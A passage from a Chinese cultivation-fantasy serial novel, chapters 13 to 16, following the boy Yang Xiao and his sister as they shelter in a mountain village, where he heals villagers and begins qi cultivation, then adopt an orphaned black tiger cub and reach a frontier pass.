车内空无一人。 王大勇扭头向几个人摇摇头:“没人。” 杨笑挣开姐姐的手跑王大勇身边往车厢里张望。 车厢里的地板上铺着一条精美的红地毯,地毯上花团锦簇,中间还有一个圆形的金色图案。车厢入口处,一条皮草做成的白色衣服落在车厢一侧的座位上。车厢内的四壁和车窗上也有许多精美的装饰,后壁上挂着一张弓还有一个插满箭矢的箭袋。 王大勇把杨笑抱起来放到车上。杨笑试着踩了踩脚下的地毯,软绵绵的,还真是怪喧腾的。试过地毯的感觉后杨笑扶着车厢的门框,探着身子伸手拿起了那件衣服:是一件貂绒的大衣。那貂绒大衣雪白无比,连一根杂色的毛发也没有。 杨笑抖了抖那件貂绒大衣,一个黑色的物件从里面掉了出来。低头一看是一把匕首,匕首的手柄和刀鞘都是由纯黑色的乌木做成。 王大勇捡起那把匕首翻看了一下,匕首的样式朴素但做工却是十分的讲究。王大勇将匕首从鞘内拔出来又用手指刮了刮刃口:“嚯,这匕首真不错。” 杨笑连忙说:“我看看,我看看。” 王大勇把匕首递给他,杨笑接过匕首翻来覆去的看了个遍,又比划了一下:“王大哥,这匕首真漂亮。” “少爷喜欢就拿着玩儿吧,小心别划着手。” 杨笑点点头,满意地将匕首收好。 “看看车里面还有什么东西。”王大勇向杨笑说道。 杨笑钻进车厢里。只见车厢内四处镶金嵌玉,每一根木头上都铺满了彩绘,镂空的车窗雕刻出精美的窗花,用雕梁画栋来形容这辆马车的车厢也不知道贴切不贴切。杨笑好奇地这儿摸摸,那儿看看。用锦缎制成的坐垫又暖又软;一条柔软的锦被又厚又轻里面装的似乎是羽绒……。 杨笑把那张弓摘下来拿在手里把玩了一下,弓的样式看起来也是黑不溜秋的毫不起眼,但又给人一种不那么简单的感觉。王大勇接过弓看了看,又张了张弓弦:“嘿,这张弓也不错,看这样子跟那把匕首应该是一套的东西。”又接过那些箭矢看了看:“这些箭的做工也很是讲究,大户人家的东西就是不一样。”看完弓箭王大勇又往车厢里看了看:“少爷,再翻翻看还有没有什么东西。” 杨笑于是又在车内一阵翻找。 从地毯下面翻出了两把刀来。王大勇接过来抽刀出鞘,看着镜子般的雪亮刀身里自己的样子王大勇高兴道:“这下好了,咱们又有防身的兵刃了。” 王大勇把刀归鞘,将其中一把刀别在腰上,这时杨笑在车厢里说道:“王大哥,这里还有一个小箱子。”只见杨笑把坐垫下的木板掀开,下面是一个暗格,从暗格里面搬出一个一尺来长,宽、厚各有大半尺的小箱子来。“还挺沉的。” 杨笑把那个小箱子搬到王大勇面前,王大勇见小箱子上锁着一把模样奇特的铁锁:“还用锁给锁住了,这里面一定是好东西,光看这箱子就能值几两银子。” 两个人把找到的东西都拿到杨落儿跟前。 杨落儿接过箱子看了一圈,这时杨笑伸手递过来一个小物件:“这个会不会就是这把锁的钥匙?” “这是哪儿来的?”杨落儿问道。 “就是在这件衣服里找到的。”杨笑回答。 杨落儿看了看那个小物件:“试一试不就知道了。” 杨笑试了试,结果还真打开了那把奇怪的锁子。 杨落儿伸手打开小箱子。 映入众人眼中的是满满的金银珠宝。在阳光的照射下,金银珠宝们各自散发着耀人眼目的,诱人的光芒。在这些金银珠宝上面还放着厚厚的一沓银票,那些银票全都面额不菲。 就在几个人都震惊于这些从未见过的财宝时,杨落儿却是花容失色。“噗通”一声,小箱子掉在了地上,箱子里面的东西滚落一地,人也一个趔趄差点跌倒在地,幸好被王婶和小丫头扶住了。 王伯见状连忙关切道:“小姐这是怎么了?是不是一路颠簸身子不舒服了?”哪知道王伯刚往前迈了一步就见杨落儿惊叫着双腿乱蹬,坐在地上一个劲儿的往后退,吓的他站在那里也不敢上前去了。 杨笑也忙上前关心:“姐姐,你怎么了?” 杨落儿眼含热泪向王伯几人哀求道:“王伯,原先你知道我姐弟身上没有多少财物,现在凭白无故得了这许多的财宝,你要是想要就请尽管拿去,只求你不要伤害我姐弟性命。我弟弟还小,他才十岁,求求你千万不要伤害他!……。”说着一把就将杨笑揽在怀里直哭了个梨花带雨。 杨笑见姐姐哭成这样也流下泪来,边哭边为姐姐擦着泪水。 王伯闻言大惊失色,他一下子就明白了杨落儿为什么会突然这般失态:“小姐何出此言呢?小姐莫要吓唬老奴,老奴万万不敢做出这等事来。”说着就跪倒在杨落儿面前:“当年老奴流落街头又生了重病,眼瞅着一只脚已经跨过了鬼门关,幸亏老太爷相救才捡回来一条命,后来又给老奴娶了妻成了家,小姐一家待老奴有再造之恩,尤胜生身父母,老奴万不敢有此二心呐!还望小姐千万放心,老奴万万不敢伤害小姐少爷分毫哇!” 王婶以及儿媳见自家当家的跪下也连忙跟着跪倒在地。王婶带着哭腔说道:“瞧瞧这可怜的孩子给吓成什么样了,小姐折煞老婆子了,老婆子一家万万不敢对小姐少爷不敬啊!”王大勇的媳妇儿也连忙复合着。 杨落儿尤自不信:“你们是不是在骗我?” 王伯跪在地上抬起头刚要说话,结果看到杨落儿的视线落在自己身后,就顺着杨落儿的视线扭头往后看去,结果就看到儿子王大勇正大马金刀的站在那里,低头看着地上的箱子张着嘴发愣,一脸不知所措的憨傻模样。王伯立刻就气不打一处来,他使劲儿踹了儿子一脚骂道:“你个混帐玩样儿,你拿着刀站在那里很威风啊?你看你把小姐给吓的,还不跪下给小姐赔罪!” 王大勇被踹了一脚这才反应过来,发现自己这时正腰挎长刀,一手手扶刀柄,另一手掌心抵住刀柄将另一把刀像拐杖一样拄在地上。 王大勇回过神儿来,连忙松开双手结结巴巴的说道:“这……我……我……爹我这……我……。” 王伯才不管儿子结结巴巴的想解释什么,冲着他吼道:“我,我,我,我什么我?” 王大勇苦着脸说道:“我这……我还没反应过来呢,我还在奇怪小姐怎么突然就把东西……就全都给扔了呢?” 王伯没好气道:“你还不跪下!” 王大勇赶紧跪在地上使劲儿磕头:“小姐我错了,小姐我错了……。” 方才那把被他拄在地上的刀正好倒在了他的脸前,王大勇的脑门儿也刚好磕在了刀鞘上。 王大勇使劲儿的磕着头,那刀鞘被他的脑门儿撞的“哐哐响”。好在有这把刀,不然的话,就这份力道,要是磕在地面的沙石上,王大勇的脑门儿非得见血不可。 王伯也在地上磕着头:“大勇这孩子他知道错了,小姐您千万别生气。老奴一家子万万不敢做出那等天理难容的事情来” 安慰了好一阵儿杨落儿才半信半疑的问:“你们说的……可……可当真?” “小姐折煞老奴了,是老奴让小姐受惊了。” 小丫环也在旁边安慰:“小姐你快起来吧,王伯是断然不会做出那等事情的。” 几个人又安慰一番,杨落儿这才在丫鬟的搀扶下慢慢地站了起来,王婶也连忙爬起来上前搀扶。王伯见杨落儿不再哭泣就说道:“小姐,这里也不是什么久留的地方,咱们还是赶快离开的好。” 杨落儿现在也没有了主意:“我们要往哪里走才好呢?” 王伯说道:“这里既然有路,前面应该会有人家,不如咱们顺路而行兴许会找到一处村落能够暂且容身,等这股起义军平息后再去投奔二位堂老爷不迟,不知小姐意下如何?” 杨落儿怯怯地点头道:“那就依你说的吧。” 于是几人赶紧收拾了东西,王大勇把插在那辆豪华马车上的箭矢全都收了起来,又拿那杆长枪挑了几个人的行李。至于那辆马车,实在是有些扎眼,而且山路也越来越难走,几个人就把车上值钱的和有用的东西都拿了出来又找了一处隐蔽的地方把三辆马车和那些财宝分别藏了起来。 做完这些以后几个人就顺着山路往前走,一直走到傍晚时才遇见一个打猎的猎人,在这个猎人的带领下来到一处只有十余户人家的小山村,几人于是就在这里住了下来。原本以为用不了多长时间,那些起义军就会被平定,谁知道外面的起义军一闹就是三年多,而姐弟几个人也在这个小山村里一住就是三年。 欲知后事如何,且听下回分解。 第十三回 山村小神医 上回说到杨笑等人把意外得来的财宝分别藏了起来然后用三匹马驼上行李,一切都收拾妥当后几个人就顺着山间的小路一直向山里走去。 小路越来越难走,甚至断断续续的被荒草掩盖住,显然是很久都没人从这里走过。几个人穿林越岭,走走停停,直到日头偏西了也没有看到一处人家。眼看着日头越来越低,要是再找不到人家的话就要在山上露营了,这样下去可不行,荒山野岭的要是遇上什么猛兽的话可就不好办了。 就在几个人心里着急的时候隐约间听到有歌声传来,那歌声曲调悠扬,带着自然原始的气息,让人听了只觉耳目一新:“翻山呦~穿林诶~逐鸟兽。山外呦~市上呦~易米三斗。对歌~山间回声,闲来呦~妻儿呦~叙天伦喽!” 那歌声在山间悠悠回荡,似时断时续却又声声入耳。“姐姐,有人在唱歌。”杨笑首先开口说道。 “是有人在唱歌。”杨落儿也说道。 “老婆子我也听到了,唱的还怪好听嘞!”王婶也听到了歌声。 “是呀!是呀!”丫鬟小翠也复和道。 几个人都听到有人在唱歌,还是王伯先反应过来:“有人唱歌就一定有人家,大家快找找。”于是几个人顺着歌声飘来的方向一路寻找过去。翻过一道山梁后歌声更加的清晰了,到底还是小孩子的眼尖:“在那里!我看到了,那个人在那里。”杨笑指着一处方向嚷道。大家顺着他手指的方向望去,果然看到山的对面有一个人正走在半山腰处的一条小路上。那人头上戴着毡帽,肩上似乎还挑着一个什么东西,步伐稳健的穿行在树木山石间,歌声正是从那人的方向传来的。 王伯连忙喊道:“喂!对面的朋友,请等一下。”其他几个人也跟着喊了起来。 “请等一等。” “大叔,等等我们。” “……。” 小孩儿的嗓门就是好,几个人里面就属杨笑的喊叫声最是响亮。 那人听到几人的声音后先是愣了愣,然后四下张望了一下,当看到杨笑等人后开口回应道:“你们是在山里迷路了吧?别急,我等着你们。”听到对方的回应王伯连忙带着大家寻路下山往对面走去。 等与那人会和后王伯喘着气先声称谢道:“多谢这位朋友肯为我等暂留贵步。” 那人约有四十上下,生的中等身材,肤如古铜,容貌硬朗,双目有神,见几人来到身边开口问道:“老先生不必客气,不知道你们是从哪里来的?怎么会走到这里?”猎人的声音清朗。 王伯回道:“不瞒这位朋友,我们是从南边来要去西梁投亲的。” 那人道:“西梁?去西梁可不走这边。” 王伯叹道:“唉!别提了,我们刚出山就遇上了闹义军的,没办法只能往山里躲,谁知道走来走去就走到了这里。” 那人又道:“只有你们几个人,要是晚上睡在山上可是危险的很。” 王伯又回道:“谁说不是呢?我们也是没办法,不知这位朋友……。” “噢!我是这山里的猎户,前面不远就是我家,几位要是不嫌弃就到我家中暂住一晚。”那人爽快道。 杨笑等几人连忙谢过。 一路上与那猎户交谈才知道这人与王伯同姓,也是姓王(呵呵…可能五百年前是一家吧)名字叫做王十三,这座山叫摩天岭,王十三的家住在一个叫王家沟的小山村里。家里还有他的老婆和三个孩子以及上了岁数的老娘。 当晚杨笑与几个女眷和王十三的老婆还有女儿挤在一个屋子里,王十三和王伯父子则是在柴房的草垛里将就了一夜。 王十三的老娘在屋里听见儿子跟别人说话知道家里来了客人,第二天一早拄着拐杖来到院子里。山里人,风吹日晒的,活的粗糙,哪儿见过这么水灵灵的女子,见到杨落儿后连声道:“哎呦!啧啧啧……,这闺女长的真俊呐!这别是那天上的仙女儿下了凡了吧?”一句话把杨落儿给说的都有些害羞了。 王十三把老娘拉到旁边埋怨道:“娘!人家头一天来咱家做客,您老说话别这么直接。” 老太太见儿子埋怨自己不高兴道:“去!老娘我是见这闺女长好,我一看呀,我就打心眼儿里喜欢,用得着你数落我。” 王十三也没办法只能向几人解释几句。 王伯见王十三的老娘走路不方便就问道:“老夫人的脚是怎么了?” 不等儿子开口王十三的老娘先回答道:“不碍事儿,我就是脚上长了个疮,过几天就好了。” “什么过几天?你脚上的疮都成那样了哪还能自己好?”王十三埋怨着说道。 王十三的老娘本来还想说什么,这时王伯开口了:“是个什么样的疮?我主人家世代行医,兴许能为老夫人看看。” 王十三闻言喜出望外,连忙让杨笑给老娘看伤。原来王十三的老娘前些日子干活时不小心让什么东西扎伤了脚,原本没有在意,谁知伤口越来越疼并且肿了起来,到后来还不断的往外流脓。小山沟里缺医少药,一家人想尽了办法也不见好,到最后就成了这个毒疮。 杨笑看过后,原来是一个不小的脓疮,幸好姐弟俩出门时带了不少疗伤的药其中就有治疗这脓疮的药。于是杨笑取出器具先把脓疮割开把里面的脓清洗干净,然后在火上把两块石板烤热,用石板把一小块火炭细细的研成粉,再把两颗药丸碾碎跟炭粉掺在一起敷到伤口上。没想到当天下午老太太脚上的伤就不疼了,王十三自然是千恩万谢。 小山村拢共没有多少人家,有几个外人来到村里的消息很快的就传开了,尤其是听说来了个仙女儿一般的姑娘,那些喜欢东家长西家短的婆娘们更是一个个的都来看热闹。大人小孩儿的在王十三的院子里围了一堆人。有几个年轻小伙子听说王十三家来了个漂亮姑娘,也赶来扒在墙头上凑热闹,弄的杨落儿都不赶出门了。结果那几个小年轻就被王十三都给轰了去。 听说杨笑治好了老太太的脓疮一个村民说道:“听说村东头老三的腿上也起了个烂疮,不知道这个小郎中能不能治?”很快那个腿上生疮的汉子就被架了过来,杨笑看过后,虽然与王十三母亲的病不一样但也有药治。另有一个村民在干活时不小心摔断了胳膊,不过还好骨头没有错位,杨笑为他固定了受伤的胳膊又上了些消肿止痛的药。一下子杨笑能治病的事也在村里传开了,村里人有个大小毛病的都来找杨笑看病,杨笑小神医的名号就被村民们给确定了。 老族长见杨笑对村里的帮助这么大就想把他们留下来,于是就号召村民们每人都出一份力在村里为姐弟几个人盖了两间房子,姐弟一行人于是就在这个小山村里暂时住了下来。 第十四回 山里时光 有了固定的住所,杨笑等人的生活就更方便了,而杨笑在小山村里的神医事迹当然也不会停下来,王小二头上生的藓让杨笑给治好了;王三叔的老胃病经过杨笑的医治后也大有好转;就连老族长的小儿媳妇儿的痛经病让杨笑扎了几次针以后也慢慢的不疼了;更过分的是,这一天村南头的王大山把他家那头受了伤的毛驴儿也给牵了过来。 原来,王大山牵着毛驴儿从山上往下驼东西,常言道“人有失手,马有失蹄”,这个毛驴儿…它也有失蹄的时候,王大山的驴从山上滚了下来。毛驴儿的一条后腿上挂了一道挺大的伤口,血不停的往外流,等王大山把一瘸一拐的毛驴儿牵回家后那头毛驴已经眼看着一会儿不如一会儿了。有人就给王大山出主意让他找杨笑给驴治治腿上的伤,开始王大山还有点犹豫,可必经这头毛驴是自家一半的时光,王大山还是硬着头皮来找杨笑了。一开始杨笑不肯,但搁不住王大山的软磨硬泡,没办法,死驴当做活驴医吧!王大山也很爽快:“尽管大胆的治,治好了我全家感谢你,治死了我请你吃驴肉。”话都说到这份上了杨笑也只有硬着头皮上了。为了防止杨笑被驴踢着,王大山还把那头半死不活的毛驴给绑了个结实。其实大家也都知道,这么做也就是图个保险,那头快死的毛驴你就是让它踢人也踢不动了。杨笑就照着给人缝合伤口的方法把那头毛驴腿上的伤口仔细的给缝了起来。畜牲倒底还是畜牲,那体格比人结实太多了,原本半死不活的毛驴儿经杨笑这么一治……嘿!没多少天竟然就好了起来。全村人都盼着的驴肉算是落空了。 王家沟必经很小,村里也不可能天天都有人生病,私塾里的书早在半路上就全都掉到了悬崖下面,想要接着读书那是不可能了。白天空闲下来的杨笑偶尔教教几个村里的小孩儿认字,更多的还是缠着王大勇教他一些拳脚功夫。村里的猎户见杨笑喜欢舞枪弄棒的,空闲的时候也很乐意把自己在山里打猎时练就的一招半式教给杨笑。这个教会了他用长矛;那个手把手的教他练飞镖;还有人教他耍大刀……不过杨笑最喜欢玩儿的还是那把匕首;只可惜他的力气太小拉不动那张弓。 对杨笑来说在小山村里的每一天都很快乐,不过他的修练却一天也没有停过。每到夜里杨笑都会在那个神秘声音的引导下感受天地元气,运行一身气机,对感受并吸纳天地元气也一天比一天熟练了起来。起先都是那个神秘的声音每晚都督促杨笑修炼,后来时间长了杨笑也渐渐的形成了修炼的习惯。那个声音也出现的越来越少了,只有杨笑在修行中遇到不懂的地方时才出来为他解释一番。一开始杨笑吸纳到体内的天地元气在他停止修练后就会有一部分慢慢地从他的身体里流散出去,随着杨笑修练的加深,吸收天地元气的速度也越来越快,流失掉的天地元气也越来越少,终于有一天杨笑体内的天地元气发生了变化。 这一天杨笑正在不停的运行气机吸纳天地元气,那些在他丹田内原本呈现出雾状的天地元气,居然缓缓地旋转起来,并且旋转的速度越来越快,到后来竟然变成了一个飞速旋转的漩涡。漩涡越转越小,越聚越细,最后凝聚成了犹如发丝般的细小线条。这一刻,杨笑只觉丹田内猛的一震,原本在全身缓慢运行的气机随着那根线条的凝聚也变得快了起来。这时那个神秘的声音也在杨笑的脑海里响起:“乖徒儿,恭喜你进入练气第一层。” 能够达到练气第一层才算是真正的踏入了修行之路,这一刻杨笑彻底告别了凡人的身份成为了一位名符其实修行者。杨笑又把气机在体内运行了一段时间,等那股细如发丝的气旋彻底稳定下来后才停止了修行。 他缓缓地睁开双眼,此时的他已经可以隐隐的感觉到身体与以往的不同。杨笑走出房间站在月光下,他闭上眼睛再次感受了一会儿丹田内的那股气旋。这股凝聚起来的天地元气在他的丹田内就如一根丝线般轻轻地摇摆着,再也没有一丝要流失掉的迹象。杨笑睁开眼睛,他不由的从心底里高兴起来:“嘿嘿,那个怪老头教的方法还真是挺神奇的。”杨笑心里这样想着。 “也不知道这东西到底有什么用。”走出院子,他打算试试自己现在的状态。杨笑先是握紧拳头感受了一下自己的力量,然后他试着把丹田内的那一丝气机扩散到全身各处,顿时他感觉到一股澎湃的力量充斥着全身上下,让他觉得仿佛浑身都有使不完的力气。他走到一棵大树下抬头看了看,然后朝着大树猛的一拳砸出,“轰”,大树猛烈地颤动了一下,好多树叶掉落下来。 “哎呀!好疼,好疼……。”杨笑使劲儿的甩着手,看来这不是一个实验的好办法。接着他又看向放在树下的几块大石头,这些石头平时都是村民们坐在树下乘凉用的。杨笑弯腰双手抱住一块大石头想要把它搬起来,他使出全身的力气,结果那块大石头也只是轻轻地晃了晃。“看来还是太高估自己了。”这块石头实在是太大了,他根本搬不动,于是他又换了一块儿小一些的石头,还是有一些困难,又换了一块儿石头才勉强搬起来。“比起王大哥的力气好像还差了一点点。”杨笑实在是有些贪心不足了,他一个十岁的孩子能拥有跟成年男子差不多的力量已经很让人吃惊了。 有了力气,王大勇和村民们教给他的那些拳脚功夫练起来也快了许多,一直惦记着的那张弓也终于能拉开了。 日子一天天的过去,杨笑也一天天的修练着……时光荏苒,不知不觉中三个年头过去了。这三年里杨笑为王家沟的村民们治好了很多疾病,教会了村里的孩子们读书认字,也跟着村里的人们学了许多的本领,什么刀枪棍棒,弓箭飞镖杨笑都能信手拈来,而他的修为也在不知不觉中到了练气第三层。 山里的日子再好,杨笑姐弟终归是要离开的。这天一位村民从山外带来了起义军已经被平定的消息。起义军被平定,杨笑姐弟几人离开的日子也到了。几个人的离开让村民们很是不舍,其他村民舍不得的是杨笑这个能为他们治伤医病的小郎中,村里面的小伙子们遗憾的是三年了也没有追到杨落儿这个仙女般的好姑娘。 离开王家沟后杨笑的路又会怎么走?欲知后事如何,且听下回分解! 云涌 第十五回 万物皆有情 离开王家沟以后,姐弟一行人先后挖出了当年藏起来的行李和财宝,又把藏在山洞里的三辆马车拉了出来。在山洞里停放了三年之久马车上落满了灰尘,因为停放的山洞里比较干燥,所以三辆马车并没有什么腐朽依然像三年前一样结实。只不过那辆捡来的马车实在是有些太扎眼了,于是,他们就把那辆马车的处表用墨水全部涂抹了一遍,算是做了些遮盖。等一切都准备好,再把行李都装上车以后,一行人启程往山外走去。 几个人在山里兜兜转转的一连走了几天。这一天到傍晚的时候,赶了一天的路,人和马都有些累了,于是就在路旁找了一块平地停下来休息。眼看着天色将晚,几个人开始生火做饭,搭建帐篷,准备在这里过夜。傍晚时的山景总是那么的富有诗情画意,有漫天的晚霞;有晚归的飞鸟;还有袅袅的炊烟。 就在几个人正忙碌的时候,丫鬟小翠突然惊叫一声跌倒在地上。众人扭头望去,只见小翠正满脸惊恐的用手指着几个人的身后嘴里结结巴巴的说不出一句话来。几个人扭头望向她手指的方向:一头巨大的黑色猛虎正站在几个人的身后定定地看着他们。 虎视眈眈大概就是这个样子了吧。 那头巨虎浑身漆黑,身上没有一丝的杂毛,身形更是巨大到令人难以置信,站在几个人的面前就像是一座小山一般,光是身后那条长长的尾巴就足比一个壮汉的腰还要粗上一圈。几个人哪里见过这么巨大的猛虎,别说杨笑,就是王伯一把年纪了也是听都没有听说过还有这般巨大的老虎。 这头黑色巨虎的出现着实是把几个人给吓坏了,一个个的全都吓的站在那里大气儿都不敢出,连脚趾头都不敢动弹一下。王婶儿更是吓得瘫倒在地上差点昏死过去。 让几个人感到意外的是那头巨虎并没有立刻攻击他们,而是就这么站在那里盯着他们几个人看了好一会儿。就在王大勇站的脚底板都站的有些酸了的时候,那头巨虎终于有了动作。 那头黑色巨虎抬起一只前爪向前迈了一步。那只毛绒绒的爪子简直大到吓人,王大勇相信那巨虎只要用一根小脚趾头就能轻意的把他摁进泥里摩擦。没错,只是需要一根小脚趾头。王大勇对自己的这个想法深信不疑,他也不知道自己为什么会冒出这样的想法,兴许是被那头巨虎身上散发出来的让人窒息的气势给感动到了。 那只巨大的爪子落在地上时并没有发出众人想像中的动静,反而像一只小猫咪走路时一样,不发出一丁点儿的声音。想想也对,要是动静大的话又怎么能出现在他们身后还不让他们察觉到。 让几个人更加没有想到的一幕又发生了。那头黑色巨虎只是向前走了一步,然后就“轰隆”一声,一头栽倒在地上一动也不动了。 几个人谁也没有想到会出现这样的情况,全都呆呆的站在原地看着眼前发出的这一幕。这时候,几个人才发现这头巨虎身上竟然是伤痕累累,只是身上的血迹在黑色皮毛的掩盖下不容易看出来,这也导致几个人刚才没有发现这头巨虎受了伤。 过了好一会儿,见那头巨虎依然没有动静,几个人这才敢你看看我,我看看你,小声的商量着是不是趁着现在的机会赶紧逃走。 就在这时候传来了一阵“嗷呜,嗷呜……。”的叫声。 那声音像猫叫又不是猫的叫声。 那个声音一声连着一声从巨虎的身后传出。 杨笑在听到这叫声后居然就像中了邪似的,一步一步的向巨虎身后走了过去。 杨笑的举动把杨落儿吓得可不轻。她想要开口叫住杨笑,可张开了嘴却又不敢喊出声,生怕一个不小心惊动了那头庞然大物给弟弟招来杀身之祸,于是,杨落儿只得一个劲儿的向杨笑招手叫他赶紧回来。 杨笑对姐姐的举动视而不见,他轻轻的,慢慢的走到巨虎身侧,探身望去。只见一只幼虎正趴在地上无助的叫唤着。这只幼虎只比家猫略大上一些,身后还拖着带血的胞衣,显然是刚出生的样子。 杨笑此刻仿佛一下子忘记了刚才的恐怖,转身返回马车上拿了药匣,又回到幼虎身边为幼虎处理好了脐带。做完这些后杨笑把幼虎轻轻地抱在怀里,看那样子真是说不出的怜爱。 就在这时候那头巨虎悠悠的转醒过来。母虎把虚弱的目光投向杨笑怀里的幼崽,吓的杨笑连忙把幼虎轻轻地放在地上,冲巨虎招招手讪讪的干笑两下。那边杨落儿等人更是把魂儿都吓到了天外,丫鬟小翠甚至别过头去把眼睛都闭上了,她生怕看到接下来的一幕。 母虎艰难地支起上半身,伸出脑袋低头在杨笑身上嗅了嗅,这才叼起幼虎放到自己的怀里。幼虎在母虎的怀里找来找去嘴里还发出亲昵的呜咽声。终于幼虎叼住了母虎的乳头,然后大口大口地吮吸起来。母虎不停的为幼虎舔舐着身体,看着幼虎一脸满足的吃着自己的奶水,从母虎的目光中流露出满满的慈爱与不舍来。杨笑看到这一幕,心中感叹道:“果然全天下的母亲都是一样的疼爱自己的子女。” 等到幼虎吃饱后母虎又细细的为幼虎舔舐了一遍皮毛。为幼虎舔完皮毛后母虎转头看向杨笑,目光中竟然满是乞求的神色。杨笑这时候也不知怎么了,看着母虎的目光竟然想起了自己的母亲来,想到自己现在也是个无父无母的可怜孩子,眼前的母虎显然所剩的时间也是不多了,没想到自己跟这个小家伙还会有同病相怜的一面。 “难道……这是在临终托孤吗?” 想到这里杨笑的鼻子里不由得生出一股酸楚来。 这种模模糊糊的,冥冥之中的感觉,竟然让杨笑完全忘记了巨虎给自己带来的恐惧。他伸手抚摸着母虎的脸颊轻声说道:“我一定会好好照顾它的。”目光中充满了深深的柔情和坚定不移的神情。 母虎听完杨笑的话后回过头用脸颊轻轻地蹭了蹭幼虎,又用鼻子在幼虎身上深深的吸了一口气,好像要永远的记住这股气息似的。随后母虎缓缓地闭上了眼睛,眼角流出一行泪水来。 母虎已然气绝身亡了,她永远的离开了她的孩子。自始至终母虎都将幼虎抱在怀里。 杨笑在原地呆呆的站了好一会儿才回过神来。他深吸一口气,这才发现自己的眼睛不知在什么时候也已经湿润了。 杨笑走到母虎身边,此时的幼虎在吃饱了母乳后早已圈在母亲怀里牢牢地睡着了。睡梦中的幼虎还在不时的努努小嘴,舔舐一下嘴唇。它一定还沉浸在母爱的美梦中。 杨笑深深地呼出一口气好像放下了什么沉重的包袱似的,然后弯腰抱起了幼虎回到姐姐的身边:“姐姐我想要把它养长大。” 杨落儿看着眼前的弟弟又看看他怀里的幼虎木木地点了点头。这一刻她觉得自己的弟弟似乎长大了。 欲知后事如何,且听下回分解。 第十六回 二山关 分天岭的北麓总是比南麓更早的进入秋天。深秋时节,草木皆已枯萎泛黄,在一座长满荒草的小土丘上却还点缀着许多不知名的小野花。小野花们在寒冷的秋风里顽强的吐露着芬芳,仿佛在向即将到来的寒冬宣示着自己毫不屈服的意志。 土丘的下面有一条小路蜿蜒而过,小路在土丘前拐了一个弯,与不远处的一条小河并肩而行。小路旁边的空地上,正有四个人在准备着午饭。另一侧的小河边,有一男一女两个年轻人正牵着两只山羊在河边饮水。在他们的身后还有三匹马,马儿们低头喝着河水,一个健壮的中年汉子正在给马儿梳理着皮毛。这些人不是别人,正是杨笑姐弟一行人。 这时候,杨笑正看着那只肥猫一样的小老虎在山羊的肚子下吃奶。这个小家伙儿虽说个头不大,但胃口确实大的有点吓人。为了喂养它杨笑让姐姐专门买了两只正在产奶的羊山,山羊的奶水倒是很足,却也只是将将的够这个小家伙吃饱。 杨笑给小家伙儿起了个听起来有点随意的名字:小黑。因为它也像母虎一样全身上下漆黑一片,没有一根杂毛。用杨笑的话来说就是:除了牙齿,舌头和眼睛以外全身上下就没有第二个颜色了。 “就是不知道心是什么颜色。”杨笑常常这样打趣道。 杨笑一边摸着小黑光滑的皮毛一边念叨着:“小黑呀小黑,你快快地长啊,等你长大了就能像你娘一样威风了,到时候我就能领着你往大街上一站……哈哈!看哪个不识趣儿的敢不服?到时候咱们干点什么好呢?”杨笑摸着下巴一本正经的想了起来。 杨笑的眼珠一转,忽然间来主意:“哎!对了。到那个时候咱们就去调戏良家妇女。”杨笑学着戏文里那些纨绔子弟的样子和语气,拿手一抹小黑的脸颊,然后用一根手指挑起它的下巴:“小娘子。来,给爷笑一个。不笑?不笑爷给你笑一个。哈哈哈……那感觉别提多棒了,想想都觉得美。”杨笑说着说着就把自己都给逗乐了。 可那个不识好歹的,被勾着下巴的家伙,还是在自顾自的喝着奶水,跟本不搭理身边这个脑子好像有坑的家伙。 “净想些乱七八糟的东西!”杨落儿在一旁数落道:“等它长大了,像它娘一样那么大的个头,到时候城里村里都容不下它,你自己领着它去山里面生活吧。” 杨笑不以为意:“诶!还早得很。” “真不知道你是怎么想的,非要养活它,我现在想想都觉得愁的慌。” “……。” “小姐,少爷吃饭了。”姐弟二人正聊着,王婶招呼他们吃饭了。 几个人围在一起席地而坐,杨笑捧着碗坐在王伯身旁一边吃一边说着:“王伯您这回说的可不准啊!这一波义军闹的时间可是不短了。” 王伯有些尴尬地清了清嗓子:“那……那……我说的都是戏文里讲的,谁知道咱们朝庭的军队怂成这个样子……。”王伯尴尬的样子略有些滑稽,引得几人发出一阵轻笑。 “依我看呐!”杨笑帮王伯分析着:“这些义军这会儿说不定是在哪个地方占山为王了……。” 丫鬟小翠问道:“少爷,这回你又是怎么知道的?”杨笑于是摇头晃脑的说了一些之乎者也的道理,反正大家也听不明白他说的是什么意思就都拿话来逗他,一时间欢笑语充满了山谷。 背井离乡的投亲之路,硬生生的被几个人给走成了游山玩水。 半个月后一行人终于来到了二山关前,过了这道关卡就是西梁境了。 二山关扼守着大周王朝西侧最重要的通道,乃是大周王朝的西大门。 平地而起的城楼建在两座大山之间的峡谷中,两侧的山壁如刀削斧劈,直插云霄的绝壁上,一座雄伟的城楼飞架南北,那种天下雄关的气势让人不由得心生敬畏。 关下大河流淌,河道里的舟船往来繁忙,河边的官道上也是繁忙异常,来往于两地的车马络绎不绝。由于人流众多而关口却只有一个,所以来往的人马每天都会在关卡前排起长长的队伍,等侍通关的队伍一直排出几里地以外,场面蔚为壮观。 杨笑一行人来到关前的时候已经有些晚了,只能远远地跟在准备通关的车队后面慢慢地往前挪着。 在杨笑等人排队等侍的这段时间里,王伯通过周围的人打听到了一些关于二山关的事情。原来这二山关进出往来都要经过严格的盘查,来往的人员货物都要有官凭路引。不但往来人员需要官凭路引,就连车运送的货物甚至是随身携带的物品都需持有钤印了官府印章的清单在手,要是没有官凭路引不但不能通关,搞不好还要被守关的士兵给扣押起来,等调查清楚身份或是货物的来龙去脉之后才能放行。 河道里,每天清晨来往于上下游的船只都需要先在数里之外的锚地下锚等侍,等官兵们查验完毕后才能放行。 清晨上游的船只先顺流而下,由于是顺水而行,船走得比较快,所以上游的船只有一个多时辰的时间允许通行。一个时辰过后,上游还没有来得及通过的船只,还有新到的船只就要继续在锚地放下船锚等侍,同时会有官兵到还未接受查验的船上查验人员与货物。上游放行的船只全部通过关口后,下游接受完查验等待通关的船只才会被放行。由于是逆流而上,峡谷内的水流又比较急,所以下游的船只就需要靠纤夫们一步一步的拉过二山关。一直等到中午,纤夫们休息吃饭时,上游的船只才被再次允许放行一个时辰。这一个时辰过后,一直到日落前就全都是下游船只通行的时间了。 姐弟二人跟着队伍慢慢悠悠地走了好半天,终于来到了关口跟前。杨笑抬头向城头望去,高大的城墙巍峨壮观,跟之前远远看到时给人的感觉完全是两种截然不同的感受。杨笑使劲儿的仰着脑袋,想要把目光投向城楼最高的地方,这让他觉得自己的脖子有些不够用了,他使劲儿的向后仰着身子,感觉自己的后脑勺都要碰到后脚跟了,才总算是把城楼最高处的风景给拽到了眼里。 